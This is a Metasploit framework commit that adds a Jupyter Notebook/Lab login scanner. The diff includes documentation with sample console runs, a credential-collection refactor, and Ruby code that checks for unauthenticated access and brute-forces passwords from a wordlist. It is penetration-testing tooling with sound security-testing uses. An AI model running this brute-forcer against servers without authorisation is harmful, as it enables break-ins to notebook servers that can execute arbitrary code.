Land #13959, Add a login scanner for Jupyter Notebooks

This commit is contained in:
gwillcox-r7 2020-08-12 13:21:21 -05:00
commit bdad038e70
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
5 changed files with 522 additions and 195 deletions

View File

@ -0,0 +1,75 @@
## Vulnerable Application
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will
bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module is
compatible with versions 4.3.0 (released 2016-12-08) and newer. [Version 4.3.0][1] is the first version in which
authentication is required by default.
A note on names, "Jupyter Lab" is the next-generation interface for "Jupyter Notebooks" which was the successor of the
original IPython Notebook system. This module is compatible with both standard Jupyter Notebook and Jupyter Lab servers.
### Installation
1. Install the latest version of Jupyter from PyPi using pip: `pip install notebook`. The "notebook" package is the core
application and is the one whose version number is used as the Jupyter version number referred to in this document.
1. Start Jupyter using `jupyter notebook --ip='*'` to start Jupyter listening on all IP addresses.
* New installs will randomly generate an authentication token and open the browser with it
* As of [version 5.3][2], the user will be prompted to set a password the first time they open the UI
* Note that you may need to restart Jupyter after changing the password in order for Jupyter to start using the new password.
* If you can't reset the password, it may be because you need to create the directory `.jupyter` in the directory
you are running the `jupyter notebook --ip='*'` command from.
1. With the password set, the module can be tested
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/jupyter_login`
1. Set the `RHOSTS` option
* With no other options set, this will only check if authentication is required
1. Do: `run`
1. You should the server version
1. If password options (such as `PASS_FILE`) where specified, and the server requires authentication then you should see
login attempts
## Options
## Scenarios
### Jupyter Notebook 4.3.0 With No Authentication Requirement
```
msf5 > use auxiliary/scanner/http/jupyter_login
msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
PASS_FILE => /tmp/passwords.txt
msf5 auxiliary(scanner/http/jupyter_login) > run
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 4.3.0
[+] 192.168.159.128:8888 - No password is required.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/jupyter_login) >
```
### Jupyter Notebook 6.0.2 With A Password Set
```
msf5 > use auxiliary/scanner/http/jupyter_login
msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt
PASS_FILE => /tmp/passwords.txt
msf5 auxiliary(scanner/http/jupyter_login) > run
[*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2
[-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect)
[+] 192.168.159.128:8888 - Login Successful: :Password1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/jupyter_login) >
```
[1]: https://jupyter-notebook.readthedocs.io/en/stable/changelog.html#release-4-3
[2]: https://jupyter-notebook.readthedocs.io/en/stable/public_server.html#automatic-password-setup

View File

@ -6,7 +6,7 @@ module Metasploit
# This class is responsible for taking datastore options from the snmp_login module
# and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}.
# This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public}
# It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy
# It may be slightly confusing that the attributes are called password and pass_file, because this is what the legacy
# module used. However, community Strings are now considered more to be public credentials than private ones.
class CommunityStringCollection
# @!attribute pass_file

View File

@ -1,233 +1,309 @@
require 'metasploit/framework/credential'
class Metasploit::Framework::CredentialCollection
module Metasploit::Framework
# @!attribute additional_privates
# Additional privates to be combined
#
# @return [Array<String>]
attr_accessor :additional_privates
class PrivateCredentialCollection
# @!attribute additional_privates
# Additional private values that should be tried
# @return [Array<String>]
attr_accessor :additional_privates
# @!attribute additional_publics
# Additional public to be combined
#
# @return [Array<String>]
attr_accessor :additional_publics
# @!attribute blank_passwords
# Whether each username should be tried with a blank password
# @return [Boolean]
attr_accessor :blank_passwords
# @!attribute blank_passwords
# Whether each username should be tried with a blank password
# @return [Boolean]
attr_accessor :blank_passwords
# @!attribute pass_file
# Path to a file containing passwords, one per line
# @return [String]
attr_accessor :pass_file
# @!attribute pass_file
# Path to a file containing passwords, one per line
# @return [String]
attr_accessor :pass_file
# @!attribute password
# The password that should be tried
# @return [String]
attr_accessor :password
# @!attribute password
# @return [String]
attr_accessor :password
# @!attribute prepended_creds
# List of credentials to be tried before any others
#
# @see #prepend_cred
# @return [Array<Credential>]
attr_accessor :prepended_creds
# @!attribute prepended_creds
# List of credentials to be tried before any others
#
# @see #prepend_cred
# @return [Array<Credential>]
attr_accessor :prepended_creds
# @!attribute realm
# The authentication realm associated with this password
# @return [String]
attr_accessor :realm
# @!attribute realm
# @return [String]
attr_accessor :realm
# @!attribute user_as_pass
# Whether each username should be tried as a password for that user
# @return [Boolean]
attr_accessor :user_as_pass
# @!attribute user_file
# Path to a file containing usernames, one per line
# @return [String]
attr_accessor :user_file
# @!attribute username
# @return [String]
attr_accessor :username
# @!attribute userpass_file
# Path to a file containing usernames and passwords separated by a space,
# one pair per line
# @return [String]
attr_accessor :userpass_file
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
# @option opts [String] :pass_file See {#pass_file}
# @option opts [String] :password See {#password}
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
# @option opts [String] :user_file See {#user_file}
# @option opts [String] :username See {#username}
# @option opts [String] :userpass_file See {#userpass_file}
def initialize(opts = {})
opts.each do |attribute, value|
public_send("#{attribute}=", value)
end
self.prepended_creds ||= []
self.additional_privates ||= []
self.additional_publics ||= []
end
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
end
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str
end
# Add {Credential credentials} that will be yielded by {#each}
#
# @see prepended_creds
# @param cred [Credential]
# @return [self]
def prepend_cred(cred)
prepended_creds.unshift cred
self
end
# Combines all the provided credential sources into a stream of {Credential}
# objects, yielding them one at a time
#
# @yieldparam credential [Metasploit::Framework::Credential]
# @return [void]
def each
if pass_file.present?
pass_fd = File.open(pass_file, 'r:binary')
end
prepended_creds.each { |c| yield c }
if username.present?
if password.present?
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password))
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
# @option opts [String] :pass_file See {#pass_file}
# @option opts [String] :password See {#password}
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
# @option opts [String] :user_file See {#user_file}
# @option opts [String] :username See {#username}
# @option opts [String] :userpass_file See {#userpass_file}
def initialize(opts = {})
opts.each do |attribute, value|
public_send("#{attribute}=", value)
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password)
self.prepended_creds ||= []
self.additional_privates ||= []
end
# Adds a string as an additional private credential
# to be combined in the collection.
#
# @param [String] private_str The string to use as a private credential
# @return [void]
def add_private(private_str='')
additional_privates << private_str
end
# Add {Credential credentials} that will be yielded by {#each}
#
# @see prepended_creds
# @param [Credential] cred
# @return [self]
def prepend_cred(cred)
prepended_creds.unshift cred
self
end
# Combines all the provided credential sources into a stream of {Credential}
# objects, yielding them one at a time
#
# @yieldparam credential [Metasploit::Framework::Credential]
# @return [void]
def each
if pass_file.present?
pass_fd = File.open(pass_file, 'r:binary')
end
prepended_creds.each { |c| yield c }
if password.present?
yield Metasploit::Framework::Credential.new(private: password, realm: realm, private_type: private_type(password))
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password)
yield Metasploit::Framework::Credential.new(private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
yield Metasploit::Framework::Credential.new(private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
yield Metasploit::Framework::Credential.new(private: add_private, realm: realm, private_type: private_type(add_private))
end
ensure
pass_fd.close if pass_fd && !pass_fd.closed?
end
if user_file.present?
File.open(user_file, 'r:binary') do |user_fd|
user_fd.each_line do |user_from_file|
user_from_file.chomp!
if password.present?
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
# Returns true when #each will have no results to iterate
#
# @return [Boolean]
def empty?
prepended_creds.empty? && !has_privates?
end
# Returns true when there are any private values set
#
# @return [Boolean]
def has_privates?
password.present? || pass_file.present? || !additional_privates.empty? || blank_passwords
end
protected
# Analyze a private value to determine its type by checking it against a known list of regular expressions
#
# @param [String] private The string to analyze
# @return [Symbol]
def private_type(private)
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
:ntlm_hash
elsif private =~ /^md5([a-f0-9]{32})$/
:postgres_md5
else
:password
end
end
end
class CredentialCollection < PrivateCredentialCollection
# @!attribute additional_publics
# Additional public values that should be tried
#
# @return [Array<String>]
attr_accessor :additional_publics
# @!attribute user_as_pass
# Whether each username should be tried as a password for that user
# @return [Boolean]
attr_accessor :user_as_pass
# @!attribute user_file
# Path to a file containing usernames, one per line
# @return [String]
attr_accessor :user_file
# @!attribute username
# The username that should be tried
# @return [String]
attr_accessor :username
# @!attribute userpass_file
# Path to a file containing usernames and passwords separated by a space,
# one pair per line
# @return [String]
attr_accessor :userpass_file
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
# @option opts [String] :pass_file See {#pass_file}
# @option opts [String] :password See {#password}
# @option opts [Array<Credential>] :prepended_creds ([]) See {#prepended_creds}
# @option opts [Boolean] :user_as_pass See {#user_as_pass}
# @option opts [String] :user_file See {#user_file}
# @option opts [String] :username See {#username}
# @option opts [String] :userpass_file See {#userpass_file}
def initialize(opts = {})
super
self.additional_publics ||= []
end
# Adds a string as an additional public credential
# to be combined in the collection.
#
# @param [String] public_str The string to use as a public credential
# @return [void]
def add_public(public_str='')
additional_publics << public_str
end
# Combines all the provided credential sources into a stream of {Credential}
# objects, yielding them one at a time
#
# @yieldparam credential [Metasploit::Framework::Credential]
# @return [void]
def each
if pass_file.present?
pass_fd = File.open(pass_file, 'r:binary')
end
prepended_creds.each { |c| yield c }
if username.present?
if password.present?
yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password))
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
if user_file.present?
File.open(user_file, 'r:binary') do |user_fd|
user_fd.each_line do |user_from_file|
user_from_file.chomp!
if password.present?
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
end
end
if userpass_file.present?
File.open(userpass_file, 'r:binary') do |userpass_fd|
userpass_fd.each_line do |line|
user, pass = line.split(" ", 2)
if pass.blank?
pass = ''
else
pass.chomp!
if userpass_file.present?
File.open(userpass_file, 'r:binary') do |userpass_fd|
userpass_fd.each_line do |line|
user, pass = line.split(" ", 2)
if pass.blank?
pass = ''
else
pass.chomp!
end
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
end
yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm)
end
end
end
additional_publics.each do |add_public|
if password.present?
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
additional_publics.each do |add_public|
if password.present?
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
end
ensure
pass_fd.close if pass_fd && !pass_fd.closed?
end
ensure
pass_fd.close if pass_fd && !pass_fd.closed?
end
# Returns true when #each will have no results to iterate
def empty?
prepended_creds.empty? && !has_users? || (has_users? && !has_privates?)
end
def has_users?
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
end
def has_privates?
password.present? || pass_file.present? || userpass_file.present? || !additional_privates.empty? || blank_passwords || user_as_pass
end
private
def private_type(private)
if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/
:ntlm_hash
elsif private =~ /^md5([a-f0-9]{32})$/
:postgres_md5
else
:password
# Returns true when #each will have no results to iterate
#
# @return [Boolean]
def empty?
prepended_creds.empty? && !has_users? || (has_users? && !has_privates?)
end
end
# Returns true when there are any user values set
#
# @return [Boolean]
def has_users?
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
end
# Returns true when there are any private values set
#
# @return [Boolean]
def has_privates?
super || userpass_file.present? || user_as_pass
end
end
end

View File

@ -0,0 +1,61 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# Jupyter login scanner
class Jupyter < HTTP
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
CAN_GET_SESSION = true
DEFAULT_PORT = 8888
PRIVATE_TYPES = [ :password ]
# (see Base#set_sane_defaults)
def set_sane_defaults
self.uri = '/login' if self.uri.nil?
self.method = 'POST' if self.method.nil?
super
end
def attempt_login(credential)
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http'
}
begin
res = send_request({'method'=> 'GET', 'uri' => uri})
vars_post = {'password' => credential.private }
# versions < 4.3.1 do not use this field
unless (node = res.get_html_document.xpath('//form//input[@name="_xsrf"]')).empty?
vars_post['_xsrf'] = node.first['value']
end
res = send_request({
'method' => 'POST',
'uri' => uri,
'cookie' => res.get_cookies,
'vars_post' => vars_post
})
if res&.code == 302 && res.headers['Location']
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
end
rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/jupyter'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Jupyter Login Utility',
'Description' => %q{
This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will
bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module
is compatible with versions 4.3.0 (released 2016-12-08) and newer.
},
'Author' => [ 'Spencer McIntyre' ],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to the Jupyter application', '/' ]),
Opt::RPORT(8888)
]
)
deregister_options('PASSWORD_SPRAY')
deregister_options('DB_ALL_CREDS', 'DB_ALL_USERS', 'HttpUsername', 'STOP_ON_SUCCESS', 'USERNAME', 'USERPASS_FILE', 'USER_AS_PASS', 'USER_FILE')
register_autofilter_ports([ 80, 443, 8888 ])
end
def requires_password?(_ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tree')
})
return false if res&.code == 200
destination = res.headers['Location'].split('?', 2)[0]
return true if destination.end_with?(normalize_uri(target_uri.path, 'login'))
fail_with(Failure::UnexpectedReply, "#{peer} - The server responded with a redirect that did not match a known fingerprint")
end
def run_host(ip)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api')
})
version = res.get_json_document.dig('version')
if version.nil?
print_error "#{peer} - The server does not appear to be running Jupyter (failed to fetch the API version)"
return
end
vprint_status "#{peer} - The server responded that it is running Jupyter version: #{version}"
unless requires_password?(ip)
print_good "#{peer} - No password is required."
report_vuln(
host: ip,
port: rport,
proto: 'tcp',
sname: (ssl ? 'https' : 'http'),
name: 'Unauthenticated Jupyter Access',
info: "Module #{fullname} confirmed unauthenticated access to the Jupyter application"
)
return
end
cred_collection = Metasploit::Framework::PrivateCredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD']
)
scanner = Metasploit::Framework::LoginScanner::Jupyter.new(
configure_http_login_scanner(
uri: normalize_uri(target_uri.path, 'login'),
cred_details: cred_collection,
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
http_password: datastore['HttpPassword'],
# there is only one password and no username, so don't bother continuing
stop_on_success: true
)
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{peer} - Login Successful: #{result.credential}"
else
invalidate_login(credential_data)
vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status})"
end
end
end
end